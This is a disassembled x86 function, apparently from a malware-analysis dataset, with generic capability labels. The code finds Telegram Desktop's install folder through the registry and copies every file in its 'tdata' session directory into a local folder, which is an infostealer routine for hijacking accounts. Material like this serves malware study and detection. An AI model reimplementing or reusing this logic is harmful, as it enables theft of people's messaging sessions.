Function at 0x45d76c
Capabilities:
Copy file
Create directory
Enumerate files on windows
Get installed programs

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4c
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0xa48], eax
push ebx
push esi
push edi
mov esi, 0x2ff
xor ebx, ebx
push esi
lea eax, [esp + 0x155]
push ebx
push eax
mov byte [esp + 0x15c], bl
call fcn.0055bfc0
push esi
lea eax, [esp + 0x461]
push ebx
push eax
mov byte [esp + 0x468], bl
call fcn.0055bfc0
push esi
lea eax, [esp + 0x76d]
push ebx
push eax
mov byte [esp + 0x774], bl
call fcn.0055bfc0
add esp, 0x24
lea eax, [esp + 0xc]
push eax
push 1
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall53F49750_6209_4FBF_9CA8_7A333C87D1ED_is1
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45d80e
push ebx
push ebx
lea eax, [esp + 0x458]
push eax
push str.InstallLocation
lea edi, [esp + 0x1c]
call fcn.00403aa5
add esp, 0x10
jmp 0x45d810
xor eax, eax
cmp eax, ebx
je 0x45d9db
push str.tdata
lea eax, [esp + 0x454]
push eax
lea eax, [esp + 0x158]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [esp + 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x450]
dec ecx
mov byte [eax + ecx], bl
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0xc], eax
cmp eax, ebx
je 0x45d9db
cmp eax, 0xffffffff
je 0x45d9db
push ebx
push str.Telegram
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, 0x300
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
je 0x45d93f
push 0x5d3854
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x45d9b0
push 0x5d3858
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x45d9b0
lea eax, [esp + 0x3c]
call fcn.0045d746
test eax, eax
je 0x45d9b0
push edi
lea eax, [esp + 0x154]
push ebx
push eax
call fcn.0055bfc0
push edi
lea eax, [esp + 0x760]
push ebx
push eax
call fcn.0055bfc0
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x16c]
push str.Telegram_s
push eax
call esi
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x478]
push eax
lea eax, [esp + 0x77c]
push str._s_tdata_s
push eax
call esi
lea eax, [esp + 0x184]
push eax
lea eax, [esp + 0x788]
push eax
call fcn.00403868
add esp, 0x3c
jmp 0x45d9b0
call fcn.0045d746
test eax, eax
je 0x45d9b0
push edi
lea eax, [esp + 0x154]
push ebx
push eax
call fcn.0055bfc0
push edi
lea eax, [esp + 0x760]
push ebx
push eax
call fcn.0055bfc0
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x46c]
push eax
lea eax, [esp + 0x770]
push str._s_tdata_s
push eax
call esi
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x17c]
push str.Telegram_s
push eax
call esi
add esp, 0x34
push ebx
lea eax, [esp + 0x154]
push eax
lea eax, [esp + 0x758]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
mov dword [0x5ea9d4], 1
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x45d88b
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0xa54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret